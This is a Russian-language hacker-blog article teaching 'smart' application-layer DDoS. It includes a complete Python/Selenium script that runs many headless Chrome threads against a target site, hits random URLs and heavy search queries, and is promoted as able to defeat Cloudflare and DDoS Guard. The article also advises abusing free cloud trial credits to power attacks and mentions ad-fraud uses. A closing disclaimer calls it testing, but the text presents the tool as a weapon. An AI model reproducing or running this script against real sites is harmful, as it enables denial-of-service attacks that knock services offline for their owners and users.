DDoS Methbot Python Selenium Кодинг Обучение

Умный DDoS. Нагружаем защищенные таргеты без всяких ботнетов

Умный DDoS. Нагружаем защищенные таргеты без всяких ботнетов

Надеюсь, что такое DDoS тебе рассказывать не надо. Если надо – вон из класса. В этой статье мы не будем обсуждать примитивные атаки многотысячных ботнетов, приводящие к отказу оборудования. Это уже в прошлом.

Сегодня я тебе расскажу про “умный” DDoS. А именно про атаки L7, или атаки уровня приложения. Я расскажу тебе как с помощью небольшого скрипта на Python и фреймворка Selenium полностью иммитировать поведение реальных пользователей. Реализуется такой подход путём контроля реального браузера. Таким образом реализуется механизм максимально похожий на поведение человека, бороться с которым бессильны большинство самых продвинутых методов защиты. Подробнее про Selenium можно почитать ещё и здесь.

Для проведения наших тестов нам не потребуется никаких ботнетов. Все необходимые ресурсы мы абсолютно бесплатно возьмём у Google, Amazon или Microsoft, у каждого из которых есть возможность попробовать их услуги абсолютно бесплатно. Например, Google, с весьма небольшими ограничениями предоставляет пробный период в 3 месяца и суммой в $300, которых вполне хватит для того, чтобы разнести в пух и прах вполне серьёзный ресурс. Информация о том, как получать халяву, а также о том, как настраивать облачные инстансы выходит за рамки этой статьи. Мы об этом уже писали. Правда, немного в другом контексте.

Инструмент, который мы будем делать – это простейший booter/stresser, простейший скрипт для тестирования допустимой нагрузки на сайт. Для того, чтобы полноценно протестировать даже достаточно крупные ресурсы, тебе понадобится 5-10 инстансов с 2-4 процессорами и 4гб память (понятно, больше – лучше). Желательно брать инстансы полегче из-за ограничений на исходящий трафик в большинстве облачных сервисов.

Кстати, Selenium, походит не только для DDoS. Более того, я бы назвал DDoS с помощью этого замечательного фреймворка просто варварством. Selenium справляется и с намного более изысканными задачами, такими, как парсинг сложных, закрытых ресурсов или накрутка рекламы (в том числе и на YouTube, что доказал на практике Александр Жуков, создатель Methbot, основой которого как раз таки и являлся Selenium. Кстати, Жукова, арестованного и представшего перед судом в США недавно признали виновным по всем обвиненям. Но это уже другая история.

Справедливости ради следует заметить, что Selenium – старейший, но не единственный инструмент контроля браузеров на рынке. Помимо Selenium для подобных задач можно использовать и Puppeteer и его адаптацию на python, pyppeteer, тоже отлично зарекомендовавшие себя.

В этой статье я распишу только основной принцип работы. Более сложные варианты, включая использование соксов и взяимодействие с XEvil для распознавания даже самых сложный “капч” выходит за рамки этой статьи и будет рассмотренно в закрытом чате ПТУ№69.

Итак, загружаем Python, устанавливаем все зависимости, качаем ChromeDriver. Помимо самого Selenium, мы будем использовать Concurrent Futures для обеспечения многопоточности.

from concurrent.futures.thread import ThreadPoolExecutor
from selenium.webdriver.chrome.options import Options
from selenium import webdriver
import time
import random
import string
import re


chromeOptions = Options()
chromeOptions.headless = True        #как будет запускаться хром - в фоне или нет
executor = ThreadPoolExecutor(20)    #количество одновременных потоков

def generate_random_string(length):
    letters = string.ascii_lowercase
    rand_string = ''.join(random.choice(letters) for i in range(length))
    return rand_string

# простейшая функция выгрузки всех ссылок с заданой страницы
def getlinks(url):
    driver = webdriver.Chrome(r"путь к chromedriver", options=chromeOptions)  # path к chromedriver
    list = []
    driver.get(url)
    a = driver.find_elements_by_xpath('.//a')
    i = 0
    for b in a:
        i = i+1
        link = b.get_attribute("href")
        list.insert(i, link)
    driver.quit()
    return list

def scrape(url):
    executor.submit(scraper, url)
    executor.submit(scraper, "адрес_тестируемого_ресурса/"+generate_random_string(10))
#генерируем мусорные ссылки, если надо. кстати, если в тестируемом сайте есть функция поиска или любые другие страницы с тяжелыми запросами в БД, этот вариант - твой 



def scraper(url):
    driver = webdriver.Chrome(r"путь_к_chromedriver", options=chromeOptions)   #path к chromedriver
    driver.get(url)
    time.sleep(15)
    driver.quit()

urls = getlinks("адрес_тестируемого_ресурса")
for url in urls * 10:          #количество инстансов
    scrape(url)

Скрипт загружает заданное количество потоков Google Chrome, каждый из которых выгребает ссылки и тем самым плотно нагружает атакуемый сайт. Для достижения лучшего эффекта рекомендуется нагружать тестируемый ресурс сложными запросами (например к функции поиска или сложной выборки).

В действенности метода можешь не сомневаться. С различными модификациями этот простенький скрипт позволяет достаточно успешно тестировать ресурсы, размещенные даже на защищенных сервисах типа Cloudflare, Varity или DDoS Guard. Однако, скорее всего тебе понадобятся соксы и дополнительные инструменты, разгадывающие “капчу”.

Поверь, при правильном использовании этот скрипт заставит взяться за голову даже самых искушенных админов и самые изощренные сервисы защиты от ddos.

Интересно? Читай и обсуждай больше интересных статей на нашем канале ПТУ№69. Мы обсуждаем только живые, годные темы.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Комментарии

  1. Привет братан научи мне пожалуйста работать на python если хочешь я заплачу я работаю на система Линукс

Leave a Reply

Your email address will not be published. Required fields are marked *